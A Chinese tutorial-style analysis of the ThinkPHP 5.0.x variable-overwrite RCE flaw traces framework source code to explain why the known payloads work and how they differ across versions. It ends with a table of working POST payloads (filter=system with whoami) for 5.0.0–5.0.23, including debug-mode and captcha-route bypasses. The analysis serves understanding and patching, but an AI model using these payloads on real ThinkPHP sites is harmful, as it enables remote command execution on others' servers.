關(guān)于thinkphp5.0.X全版本變量覆蓋導(dǎo)致的RCE分析

下面由thinkphp教程欄目給大家介紹thinkphp5.0.x全版本變量覆蓋導(dǎo)致的rce分析,希望對(duì)需要的朋友有所幫助!

簡介

總是碰到一些thinkphp5.0.X的站點(diǎn),網(wǎng)上搜索漏洞利用payload會(huì)有好幾種,變量覆蓋導(dǎo)致的遠(yuǎn)程代碼執(zhí)行,不同小版本之間會(huì)有些差別,比如下面幾種。

_method=__construct&filter=system&a=whoami _method=__construct&filter=system&a=whoami&method=GET _method=__construct&filter=system&get[]=whoami ...

payload雖沒錯(cuò),但是用得我挺懵,不知所以然。
這幾種到底有什么差異?
各個(gè)參數(shù)的作用是什么?
為什么會(huì)這樣?

分析

thinkphp有兩種版本,一種是核心版,一種是完整版。簡單來講核心版不包括第三方類庫,比如驗(yàn)證碼庫(劃重點(diǎn),后面會(huì)用到)。

5.0.0說起,適用于5.0.0的代碼執(zhí)行payload長這樣

立即學(xué)習(xí)PHP免費(fèi)學(xué)習(xí)筆記(深入)”;

POST?/thinkphp5.0.0?HTTP/1.1  _method=__construct&filter=system&a=whoami&method=GET

關(guān)于thinkphp5.0.X全版本變量覆蓋導(dǎo)致的RCE分析
為什么 _method=__construct
為什么 filter=system
為什么 a=whoami
為什么 method=GET

thinkphp的入口文件為public/index.php,如下。

//?定義應(yīng)用目錄 define('APP_PATH',?__DIR__?.?'/../application/'); //?加載框架引導(dǎo)文件 require?__DIR__?.?'/../thinkphp/start.php';

跟進(jìn)thinkphp/start.php。

//?1.?加載基礎(chǔ)文件 require?__DIR__?.?'/base.php';  //?2.?執(zhí)行應(yīng)用 App::run()->send();

看到是調(diào)用的是App::run()執(zhí)行應(yīng)用。
跟進(jìn)thinkphp/library/think/App.php下的run()函數(shù)。

????/** ?????*?執(zhí)行應(yīng)用程序 ?????*?@access?public ?????*?@param?Request?$request?Request對(duì)象 ?????*?@return?Response ?????*?@throws?Exception ?????*/ ????public?static?function?run(Request?$request?=?null) ????{ ????????...  ????????????//?獲取應(yīng)用調(diào)度信息 ????????????$dispatch?=?self::$dispatch; ????????????if?(empty($dispatch))?{ ????????????????//?進(jìn)行URL路由檢測(cè) ????????????????$dispatch?=?self::routeCheck($request,?$config); ????????????} ????????????//?記錄當(dāng)前調(diào)度信息 ????????????$request->dispatch($dispatch); ????????... ?????}

在run()函數(shù)中,會(huì)根據(jù)請(qǐng)求的信息調(diào)用self::routeCheck()函數(shù),進(jìn)行URL路由檢測(cè)設(shè)置調(diào)度信息并賦值給$dispatch。

????/** ?????*?URL路由檢測(cè)(根據(jù)PATH_INFO) ?????*?@access?public ?????*?@param??	hinkRequest?$request ?????*?@param??array??????????$config ?????*?@return?array ?????*?@throws?	hinkException ?????*/ ????public?static?function?routeCheck($request,?array?$config) ????{ ????????... ????????????//?路由檢測(cè)(根據(jù)路由定義返回不同的URL調(diào)度) ????????????$result?=?Route::check($request,?$path,?$depr,?$config['url_domain_deploy']); ????????... ????????return?$result; ????}

其中的Route::check()函數(shù)如下。

????/** ?????*?檢測(cè)URL路由 ?????*?@access?public ?????*?@param?Request???$request?Request請(qǐng)求對(duì)象 ?????*?@param?string????$url?URL地址 ?????*?@param?string????$depr?URL分隔符 ?????*?@param?bool??????$checkDomain?是否檢測(cè)域名規(guī)則 ?????*?@return?false|array ?????*/ ????public?static?function?check($request,?$url,?$depr?=?'/',?$checkDomain?=?false) ????{ ????????... ????????$method?=?$request->method(); ????????//?獲取當(dāng)前請(qǐng)求類型的路由規(guī)則 ????????$rules?=?self::$rules[$method]; ????????...

會(huì)調(diào)用$request->method()函數(shù)獲取當(dāng)前請(qǐng)求類型。

????/** ?????*?當(dāng)前的請(qǐng)求類型 ?????*?@access?public ?????*?@param?bool?$method??true?獲取原始請(qǐng)求類型 ?????*?@return?string ?????*/ ????public?function?method($method?=?false) ????{ ????????if?(true?===?$method)?{ ????????????//?獲取原始請(qǐng)求類型 ????????????return?IS_CLI???'GET'?:?(isset($this->server['REQUEST_METHOD'])???$this->server['REQUEST_METHOD']?:?$_SERVER['REQUEST_METHOD']); ????????}?elseif?(!$this->method)?{ ????????????if?(isset($_POST[Config::get('var_method')]))?{ ????????????????$this->method?=?strtoupper($_POST[Config::get('var_method')]); ????????????????$this->{$this->method}($_POST); ????????... ????????return?$this->method; ????}

因?yàn)樯厦嬲{(diào)用method()函數(shù)是沒有傳參的,所以這里$method = false,進(jìn)入elseif。var_method是表單請(qǐng)求類型偽裝變量,可在application/config.php中看到其值為_method。

//?表單請(qǐng)求類型偽裝變量 'var_method'?????????????=>?'_method',

那么只要POST傳遞一個(gè)_method參數(shù),即可進(jìn)入下面的if,會(huì)執(zhí)行

$this->method?=?strtoupper($_POST[Config::get('var_method')]); $this->{$this->method}($_POST);

因此可通過指定_method來調(diào)用該類下的任意函數(shù)。
所以_method=__construct是為了調(diào)用thinkphp/library/think/Request.php下的__construct函數(shù)。需要注意的是這里同時(shí)也將Request類下的$method的值覆蓋為__construct了,這個(gè)很重要,先記錄下。

method?=>?__construct

那為啥要調(diào)用__construct函數(shù)完成攻擊鏈,不是別的函數(shù)呢?
跟進(jìn)函數(shù),如下。

????/** ?????*?架構(gòu)函數(shù) ?????*?@access?public ?????*?@param?array?$options?參數(shù) ?????*/ ????public?function?__construct($options?=?[]) ????{ ????????foreach?($options?as?$name?=>?$item)?{ ????????????if?(property_exists($this,?$name))?{ ????????????????$this->$name?=?$item; ????????????} ????????} ????????if?(is_null($this->filter))?{ ????????????$this->filter?=?Config::get('default_filter'); ????????} ????}

上面調(diào)用__construct函數(shù)的時(shí)候把$_POST數(shù)組傳進(jìn)去了,也就是會(huì)用foreach遍歷POST提交的數(shù)據(jù),接著使用property_exists()檢測(cè)當(dāng)前類是否具有該屬性,如果存在則賦值,而$name和$item都是來自$_POST,完全可控,這里就存在一個(gè)變量覆蓋的問題。filter=system&method=GET 作用就是把當(dāng)前類下的$filter覆蓋為system,$method覆蓋為GET,當(dāng)前變量情況:

method?=>?__construct?=>?GET filter?=>?system

為什么要把method又覆蓋一遍成GET?,因?yàn)榍懊嬖赾heck()函數(shù)中有這么兩行代碼。

$method?=?$request->method(); //?獲取當(dāng)前請(qǐng)求類型的路由規(guī)則 $rules?=?self::$rules[$method];

前面已經(jīng)在method()函數(shù)中進(jìn)行了變量覆蓋,$method的值為__construct。而$rules的定義如下:

????private?static?$rules?=?[ ????????'GET'?????=>?[], ????????'POST'????=>?[], ????????'PUT'?????=>?[], ????????'DELETE'??=>?[], ????????'PATCH'???=>?[], ????????'HEAD'????=>?[], ????????'OPTIONS'?=>?[], ????????'*'???????=>?[], ????????'alias'???=>?[], ????????'domain'??=>?[], ????????'pattern'?=>?[], ????????'name'????=>?[], ????];

那么如果不再次覆蓋$method為GET、POST、PUT等等,self::$rules[$method]就為self::$rules[‘__construct’],程序就得報(bào)錯(cuò)了嘛。

應(yīng)用調(diào)度信息后獲取完畢后,若開啟了debug,則會(huì)記錄路由和請(qǐng)求信息。這也是很重要的一點(diǎn),先記錄。

if?(self::$debug)?{ ????????????????Log::record('[?ROUTE?]?'?.?var_export($dispatch,?true),?'info'); ????????????????Log::record('[?HEADER?]?'?.?var_export($request->header(),?true),?'info'); ????????????????Log::record('[?PARAM?]?'?.?var_export($request->param(),?true),?'info'); ????????????}

再根據(jù)$dispatch類型的不同進(jìn)入switch case處理。

????????????switch?($dispatch['type'])?{ ????????????????case?'redirect': ????????????????????//?執(zhí)行重定向跳轉(zhuǎn) ????????????????????$data?=?Response::create($dispatch['url'],?'redirect')->code($dispatch['status']); ????????????????????break; ????????????????case?'module': ????????????????????//?模塊/控制器/操作 ????????????????????$data?=?self::module($dispatch['module'],?$config,?isset($dispatch['convert'])???$dispatch['convert']?:?null); ????????????????????break; ????????????????case?'controller': ????????????????????//?執(zhí)行控制器操作 ????????????????????$data?=?Loader::action($dispatch['controller']); ????????????????????break; ????????????????case?'method': ????????????????????//?執(zhí)行回調(diào)方法 ????????????????????$data?=?self::invokeMethod($dispatch['method']); ????????????????????break; ????????????????case?'function': ????????????????????//?執(zhí)行閉包 ????????????????????$data?=?self::invokeFunction($dispatch['function']); ????????????????????break; ????????????????case?'response': ????????????????????$data?=?$dispatch['response']; ????????????????????break; ????????????????default: ????????????????????throw?new?InvalidArgumentException('dispatch?type?not?support'); ????????????}

直接訪問public/index.php默認(rèn)調(diào)用的模塊名/控制器名/操作名是/index/index/index,具體定義在application/config.php里面。

//?默認(rèn)模塊名 'default_module'?????????=>?'index', //?禁止訪問模塊 'deny_module_list'???????=>?['common'], //?默認(rèn)控制器名 'default_controller'?????=>?'Index', //?默認(rèn)操作名 'default_action'?????????=>?'index',

因此對(duì)應(yīng)的$dispatch[‘type’]為module,會(huì)調(diào)用module()函數(shù),經(jīng)過一系列的處理后返回?cái)?shù)據(jù)到客戶端。

case?'module': ????????????????????//?模塊/控制器/操作 ????????????????????$data?=?self::module($dispatch['module'],?$config,?isset($dispatch['convert'])???$dispatch['convert']?:?null); ????????????????????break;

跟進(jìn)module()函數(shù),關(guān)鍵在invokeMethod()。

????/** ?????*?執(zhí)行模塊 ?????*?@access?public ?????*?@param?array?$result?模塊/控制器/操作 ?????*?@param?array?$config?配置參數(shù) ?????*?@param?bool??$convert?是否自動(dòng)轉(zhuǎn)換控制器和操作名 ?????*?@return?mixed ?????*/ ????public?static?function?module($result,?$config,?$convert?=?null) ????{ ?????... ????????????$data?=?self::invokeMethod($call); ?????...

invokeMethod()如下,跟進(jìn)bindParams()。

???/** ?????*?調(diào)用反射執(zhí)行類的方法?支持參數(shù)綁定 ?????*?@access?public ?????*?@param?string|array?$method?方法 ?????*?@param?array????????$vars???變量 ?????*?@return?mixed ?????*/ ????public?static?function?invokeMethod($method,?$vars?=?[]) ????{ ????????... ????????$args?=?self::bindParams($reflect,?$vars); ????????... ????}

bindParams()如下,跟進(jìn)param()。

????/** ?????*?綁定參數(shù) ?????*?@access?public ?????*?@param?ReflectionMethod|ReflectionFunction?$reflect?反射類 ?????*?@param?array?????????????$vars????變量 ?????*?@return?array ?????*/ ????private?static?function?bindParams($reflect,?$vars?=?[]) ????{ ????????if?(empty($vars))?{ ????????????//?自動(dòng)獲取請(qǐng)求變量 ????????????if?(Config::get('url_param_type'))?{ ????????????????$vars?=?Request::instance()->route(); ????????????}?else?{ ????????????????$vars?=?Request::instance()->param(); ????????????} ????????}

這是關(guān)鍵點(diǎn),param()函數(shù)是獲取當(dāng)前請(qǐng)求參數(shù)的。

????/** ?????*?設(shè)置獲取獲取當(dāng)前請(qǐng)求的參數(shù) ?????*?@access?public ?????*?@param?string|array??$name?變量名 ?????*?@param?mixed?????????$default?默認(rèn)值 ?????*?@param?string|array??$filter?過濾方法 ?????*?@return?mixed ?????*/ ????public?function?param($name?=?'',?$default?=?null,?$filter?=?null) ????{ ????????if?(empty($this->param))?{ ????????????$method?=?$this->method(true); ????????????//?自動(dòng)獲取請(qǐng)求變量 ????????????switch?($method)?{ ????????????????case?'POST': ????????????????????$vars?=?$this->post(false); ????????????????????break; ????????????????case?'PUT': ????????????????case?'DELETE': ????????????????case?'PATCH': ????????????????????$vars?=?$this->put(false); ????????????????????break; ????????????????default: ????????????????????$vars?=?[]; ????????????} ????????????//?當(dāng)前請(qǐng)求參數(shù)和URL地址中的參數(shù)合并 ????????????$this->param?=?array_merge($this->get(false),?$vars,?$this->route(false)); ????????} ????????if?(true?===?$name)?{ ????????????//?獲取包含文件上傳信息的數(shù)組 ????????????$file?=?$this->file(); ????????????$data?=?array_merge($this->param,?$file); ????????????return?$this->input($data,?'',?$default,?$filter); ????????} ????????return?$this->input($this->param,?$name,?$default,?$filter); ????}

這里又會(huì)調(diào)用method()獲取當(dāng)前請(qǐng)求方法,然后會(huì)根據(jù)請(qǐng)求的類型來獲取參數(shù)以及合并參數(shù),參數(shù)的來源有g(shù)et[],route[],$_POST,那么通過可以變量覆蓋傳參,也可以直接POST傳參。
所以以下幾種方式都是一樣可行的:

a=whoami aaaaa=whoami get[]=whoami route=whoami

最后調(diào)用input()函數(shù)

????/** ?????*?獲取變量?支持過濾和默認(rèn)值 ?????*?@param?array?????????$data?數(shù)據(jù)源 ?????*?@param?string|false??$name?字段名 ?????*?@param?mixed?????????$default?默認(rèn)值 ?????*?@param?string|array??$filter?過濾函數(shù) ?????*?@return?mixed ?????*/ ????public?function?input($data?=?[],?$name?=?'',?$default?=?null,?$filter?=?null) ????{ ????????... ????????if?(is_array($data))?{ ????????????array_walk_recursive($data,?[$this,?'filterValue'],?$filter); ????????????reset($data); ????????}?else?{ ????????????$this->filterValue($data,?$name,?$filter); ????????} ????????... ????}

input()函數(shù)中會(huì)通過filterValue()函數(shù)對(duì)傳入的所有參數(shù)進(jìn)行過濾,這里全局過濾函數(shù)已經(jīng)在前面被覆蓋為system并會(huì)在filterValue()函數(shù)中使用。

/** ?*?遞歸過濾給定的值 ?*?@param?mixed?????$value?鍵值 ?*?@param?mixed?????$key?鍵名 ?*?@param?array?????$filters?過濾方法+默認(rèn)值 ?*?@return?mixed ?*/ private?function?filterValue(&$value,?$key,?$filters) { ????$default?=?array_pop($filters); ????foreach?($filters?as?$filter)?{ ????????if?(is_callable($filter))?{ ????????????//?調(diào)用函數(shù)或者方法過濾 ????????????$value?=?call_user_func($filter,?$value); ????...

通過call_user_func()完成任意代碼執(zhí)行,這也就是filter為什么要覆蓋成system的原因了,覆蓋成別的函數(shù)也行,想執(zhí)行什么覆蓋成什么。

thinkphp5.0.8以后thinkphp/library/think/Route.php下的check()函數(shù)中有一處改動(dòng)。
關(guān)于thinkphp5.0.X全版本變量覆蓋導(dǎo)致的RCE分析
這里多了一處判斷,所以不加method=GET也不會(huì)報(bào)錯(cuò),可以正常執(zhí)行。

_method=__construct&filter=system&a=whoami

關(guān)于thinkphp5.0.X全版本變量覆蓋導(dǎo)致的RCE分析
測(cè)試到5.0.13版本,payload打過去沒有反應(yīng),為什么?
關(guān)于thinkphp5.0.X全版本變量覆蓋導(dǎo)致的RCE分析
跟蹤代碼發(fā)現(xiàn)thinkphp/library/think/App.php下的module()函數(shù)多了一行代碼。

????//?設(shè)置默認(rèn)過濾機(jī)制 ????$request->filter($config['default_filter']);

前面通過變量覆蓋把$filter覆蓋成了system,這里又把$filter給二次覆蓋回去了,導(dǎo)致攻擊鏈斷了。

前面提到過如果開啟了debug模式,很重要,為什么呢?

//?記錄路由和請(qǐng)求信息 ????????????if?(self::$debug)?{ ????????????????Log::record('[?ROUTE?]?'?.?var_export($dispatch,?true),?'info'); ????????????????Log::record('[?HEADER?]?'?.?var_export($request->header(),?true),?'info'); ????????????????Log::record('[?PARAM?]?'?.?var_export($request->param(),?true),?'info'); ????????????}

最后一句會(huì)調(diào)用param()函數(shù),而攻擊鏈核心就是通過前面的變量覆蓋全局過濾函數(shù)$filter,進(jìn)入param()獲取參數(shù)再進(jìn)入input()進(jìn)行全局過濾造成的代碼執(zhí)行。這里在$filter被二次覆蓋之前調(diào)用了一次param(),也就是說如果開啟了debug,在5.0.13開始也可以攻擊,也是為什么有時(shí)候代碼執(zhí)行會(huì)返回兩次結(jié)果的原因。
關(guān)于thinkphp5.0.X全版本變量覆蓋導(dǎo)致的RCE分析
filter是在module函數(shù)中被覆蓋回去的,而執(zhí)行module函數(shù)是根據(jù)$dispatch的類型來決定的,那是否能不走module函數(shù),繞過這里的覆蓋呢?
完整版的thinkphp中,有提供驗(yàn)證碼類庫,其中的路由定義在vendor/topthink/think-captcha/src/helper.php中。

	hinkRoute::get('captcha/[:id]',?"thinkcaptchaCaptchaController@index");

其對(duì)應(yīng)的dispatch類型為method,完美的避開了二次覆蓋,路由限定了請(qǐng)求類型為get,所以在5.0.13開始,如果沒有開debug,還可以調(diào)用第三方類庫完成攻擊鏈。

POST?/?s=captcha  _method=__construct&filter=system&method=GET&a=whoami

關(guān)于thinkphp5.0.X全版本變量覆蓋導(dǎo)致的RCE分析
5.0.21版本開始,函數(shù)method()有所改動(dòng)。
關(guān)于thinkphp5.0.X全版本變量覆蓋導(dǎo)致的RCE分析
通過server()函數(shù)獲取請(qǐng)求方法,并且其中調(diào)用了input()函數(shù)。

/** ?*?獲取server參數(shù) ?*?@access?public ?*?@param?string|array??$name?數(shù)據(jù)名稱 ?*?@param?string????????$default?默認(rèn)值 ?*?@param?string|array??$filter?過濾方法 ?*?@return?mixed ?*/ public?function?server($name?=?'',?$default?=?null,?$filter?=?'') { ????if?(empty($this->server))?{ ????????$this->server?=?$_SERVER; ????} ????if?(is_array($name))?{ ????????return?$this->server?=?array_merge($this->server,?$name); ????} ????return?$this->input($this->server,?false?===?$name???false?:?strtoupper($name),?$default,?$filter); }

前面分析過了,最后代碼執(zhí)行是進(jìn)入input()中完成的,所以只要能進(jìn)入server()函數(shù)也可以造成代碼執(zhí)行。

POST?/?s=captcha?HTTP/1.1  _method=__construct&filter=system&method=get&server[REQUEST_METHOD]=whoami

param()函數(shù)是根據(jù)method()返回值來獲取參數(shù)的,現(xiàn)在method()的邏輯變了,如果不傳遞server[REQUEST_METHOD],返回的就是GET,閱讀代碼得知參數(shù)的來源有$param[]、$get[]、$route[],還是可以通過變量覆蓋來傳遞參數(shù),但是就不能用之前形如a=whoami任意參數(shù)名來傳遞了。

//?當(dāng)前請(qǐng)求參數(shù)和URL地址中的參數(shù)合并 ????????????$this->param??????=?array_merge($this->param,?$this->get(false),?$vars,?$this->route(false));

在測(cè)試的時(shí)候發(fā)現(xiàn)只能通過覆蓋get[]、route[]完成攻擊,覆蓋param[]卻不行,調(diào)試后找到原因,原來是在route()函數(shù)里param[]又被二次覆蓋了。

????/** ?????*?設(shè)置獲取路由參數(shù) ?????*?@access?public ?????*?@param?string|array??$name?變量名 ?????*?@param?mixed?????????$default?默認(rèn)值 ?????*?@param?string|array??$filter?過濾方法 ?????*?@return?mixed ?????*/ ????public?function?route($name?=?'',?$default?=?null,?$filter?=?'') ????{ ????????if?(is_array($name))?{ ????????????$this->param????????=?[]; ????????????return?$this->route?=?array_merge($this->route,?$name); ????????} ????????return?$this->input($this->route,?$name,?$default,?$filter); ????}
POST?/?s=captcha?HTTP/1.1  _method=__construct&filter=system&method=GET&get[]=whoami

關(guān)于thinkphp5.0.X全版本變量覆蓋導(dǎo)致的RCE分析
或者

POST?/?s=captcha?HTTP/1.1  _method=__construct&filter=system&method=GET&route[]=whoami

關(guān)于thinkphp5.0.X全版本變量覆蓋導(dǎo)致的RCE分析

總結(jié)

各版本通用的變量覆蓋payload如下
5.0.0~5.0.12 無條件觸發(fā)

POST?/?HTTP/1.1  _method=__construct&filter=system&method=GET&a=whoami  a可以替換成get[]、route[]或者其他名字

5.0.13~5.0.23 需要有第三方類庫 如完整版中的captcha

POST?/?s=captcha?HTTP/1.1  _method=__construct&filter=system&method=get&get[]=whoami  get[]可以換成route[]

5.0.13~5.0.23 需要開啟debug

POST?/?HTTP/1.1  _method=__construct&filter=system&get[]=whoami  get[]可以替換成route[]

相關(guān)推薦:最新的10個(gè)thinkphp視頻教程

? 版權(quán)聲明
THE END
喜歡就支持一下吧
點(diǎn)贊6 分享